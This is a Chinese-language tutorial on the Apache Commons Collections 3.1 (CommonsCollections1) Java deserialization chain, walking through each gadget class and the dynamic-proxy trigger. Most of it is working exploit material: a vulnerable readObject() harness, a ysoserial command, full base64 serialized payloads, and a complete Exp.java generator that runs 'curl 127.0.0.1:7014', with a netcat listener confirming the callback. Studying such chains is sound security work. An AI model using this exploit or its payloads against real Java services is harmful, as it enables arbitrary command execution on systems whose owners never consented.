利用IDEA创建一个maven
项目,导入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
自行构造个readObject()
触发点
ximport java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_EXP";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
利用ysoserial
生成payload:
xxxxxxxxxx
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 'open /System/Applications/Calculator.app' |base64
得到
xxxxxxxxxx
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxl
clXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxq
YXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxl
Y3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhh
bmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5
TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9u
cy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3Rv
cnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcv
YXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hl
LmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3Jn
LmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJY
dpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFu
Zy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu
ZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9s
YW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5
cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8Qcyls
AgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhw
AAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAA
eHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIA
EGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5n
LlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2Fs
Y3VsYXRvci5hcHB0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRl
Z2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAA
AAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hv
bGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAA
eHBxAH4AOg==
替代上述程序中的BASE64_EXP
运行后
这里是因为Java版本的问题,我用的是1.8
,会发生java.lang.Override missing element entrySet
的错误。
构造1.7
下的poc
xxxxxxxxxx
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import sun.misc.BASE64Decoder;
public class Poc {
public static void exp(String base64_exp) throws IOException, ClassNotFoundException{
BASE64Decoder decoder = new BASE64Decoder();
byte[] exp = decoder.decodeBuffer(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, ClassNotFoundException{
String base64_exp = "BASE64_EXP";
Poc p = new Poc();
p.exp(base64_exp);
}
}
试了下7u80
可以成功弹出计算器
这个条链最终是利用org.apache.commons.collections.functors.InvokerTransformer
其中的 transform()
方法来调用java.lang.Runtime
的exec()
可以看到method.invoke(input, this.iArgs);
method
是根据this.iMethodName
和this.iParamTypes
得到的,参数则是this.iArgs
我们需要控制这三个值
而这个类的构造方法便是分别对其分别赋值,这些在反序列化时都是可控的
xxxxxxxxxx
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
想要任意命令执行,我们需要引入Runtime
类
有这么一个类org.apache.commons.collections.functors.ConstantTransformer
xxxxxxxxxx
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
ConstantTransformer
的transform()
方法直接会返回构造方法所传入参数的常量.
可以利用
xxxxxxxxxx
new ConstantTransformer(java.lang.Runtime.class);
来得到Runtime
类,虽然能获取到
但Runtime
类:
xxxxxxxxxx
private Runtime() {
}
又是不能直接new
的,需要利用静态公有方法getRuntime()
来获取
xxxxxxxxxx
public static Runtime getRuntime() {
return currentRuntime;
}
Runtime.getRuntime()
后才能再执行Runtime.getRuntime().exec()
执行命令
所以需要有能连续调用多次transform
逐步执行到exec()
的地方(且需要将前一次的结果当做下一次的输入)
巧在有org.apache.commons.collections.functors.ChainedTransformer
,关键代码如下
其作用是将内部的 iTransformers
按顺序都调用一遍.
刚刚刚好能符合条件,且this.iTransformers
也是利用其构造方法赋的值,是可控的
接下来看如何触发ChainedTransformer.transform()
看到org.apache.commons.collections.map.LazyMap
其中的get()
方法调用了transform(key)
且this.factory
也是构造方法赋值:
xxxxxxxxxx
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
再看哪儿调用了get()
sun.reflect.annotation.AnnotationInvocationHandler
的 invoke()
方法中有
在invoke()
中,如果判断var2
的函数名不为toString
,hashCode
或者annotationType
则会触发this.memberValues.get()
同样地,this.memberValues
赋值点为:
xxxxxxxxxx
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
如果这里var2
构造为LazyMap
的实例即可触发漏洞
那么如何触发AnnotationInvocationHandler.invoke()
的呢
其实sun.reflect.annotation.AnnotationInvocationHandler
类中本身就存在了readObject()
方法
如果一个对象的readObject()
方法被重载了,会优先调用重载后的readObject()
其readObject()
里有这么一句
xxxxxxxxxx
this.memberValues.entrySet()
看起来好像和invoke()
没啥关系..
但由于AnnotationInvocationHandler
继承了 InvocationHandler
,这里可以利用java的动态代理机制
来构造
在动态代理(利用反射机制在运行时创建代理类)时,该机制下被代理的实例不管调用什么类方法,都会先调用invoke()
方法
利用这种方法便可触发AnnotationInvocationHandler.invoke()
举个例子
Print.java
:
xxxxxxxxxx
public class Print{
Print(String name) {
System.out.println("Hello, " + name);
}
}
NewProxy.java
:
xxxxxxxxxx
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Method;
class NewProxy implements InvocationHandler {
Object obj;
public Object bind(Object obj){
this.obj = obj;
return Proxy.newProxyInstance(obj.getClass().getClassLoader(), obj.getClass().getInterfaces(), this);
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
System.out.println("New invoke method!");
Object res = method.invoke(obj, args);
return res;
}
}
test.java
:
xxxxxxxxxx
import java.lang.reflect.Proxy;
public class test {
public static void main(String[] args){
NewProxy np = new NewProxy();
Print alice = new Print("Alice");
System.out.println(np.bind(alice));
}
}
执行test
结果:
xxxxxxxxxx
$ java test
Hello, Alice
New invoke method!
Print@4aa298b7
可以看到自动执行了NewProxy.invoke()
方法
而且entrySet
并非等于toString
,hashCode
或annotationType
,可以完美执行到invoke()
中的this.memberValues.get()
所以我们将构造好的AnnotationInvocationHandler
序列化内容传入反序列化的功能时,即可实现漏洞利用
到这里整条利用链就走通了,接下来构造exp
根据上面的分析逐步构造,最后整合
首先是InvokerTransformer
,根据上面的分析
xxxxxxxxxx
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
用于
xxxxxxxxxx
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
xxxxxxxxxx
method.invoke(input, this.iArgs);
methodName
传入方法名,paramTypes
是按声明顺序标识该方法形参类型,args
为传入的参数
于是分别先构造
exp 0
:
xxxxxxxxxx
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","curl 127.0.0.1:7014"}});
利用ChainedTransformer
,在这个类的代码中构造函数为
xxxxxxxxxx
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
于是我们也利用org.apache.commons.collections.Transformer
将 Step 0 中的几个参数作为数组串起来
exp part 1
:
xxxxxxxxxx
//...
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
LazyMap
继承了java.util.Map
由于LazyMap
的构造方法不是public
,不能直接new
出来操作,可以通过反射搞
或者直接利用其decorate()
方法,且由于Map
是一个接口不能实例化,这里利用HashMap
xxxxxxxxxx
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
exp part 2
:
xxxxxxxxxx
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
接下来是sun.reflect.annotation.AnnotationInvocationHandler
触发this.memberValues.get()
因为构造方法不是public
, 要通过反射构造出来
且var1
需要满足如下条件
xxxxxxxxxx
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
Override
,Deprecated
和SuppressWarnings
等类都满足条件
exp part 3
:
xxxxxxxxxx
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
PS.
getDeclaredConstructor()
返回制定参数类型的所有构造器(包括非public)
setAccessible(true)
允许访问AnnotationInvocationHandler
的成员
newInstance()
实例化对象
上一步已经对this.memberValues
赋值为了lazyMap
,最后一步就是创建动态代理
exp part 4
:
xxxxxxxxxx
Object proxy = Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
Constructor constructor2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
Object exp_obj = constructor2.newInstance(Override.class, proxy);
并将序列化数据输出到exp文件:
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
public class Exp {
public static void main(String[] args) throws Exception {
// Step 0
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","curl 127.0.0.1:7014"}});
// Step 1
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
// Step 2
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
// Step 3
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// Step 4
Object proxy = Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
Constructor constructor2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
Object exp_obj = constructor2.newInstance(Override.class, proxy);
// res
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(exp_obj);
}
}
反序列化时即可收到请求
xxxxxxxxxx
$ cat exp|base64
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXEAfgAbAAAAAXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAN0AAkvYmluL2Jhc2h0AAItY3QAE2N1cmwgMTI3LjAuMC4xOjcwMTR0AARleGVjdXEAfgAeAAAAAXZxAH4AL3NyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAABB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
$ nc -lvv 7014
GET / HTTP/1.1
Host: 127.0.0.1:7014
User-Agent: curl/7.64.1
Accept: */*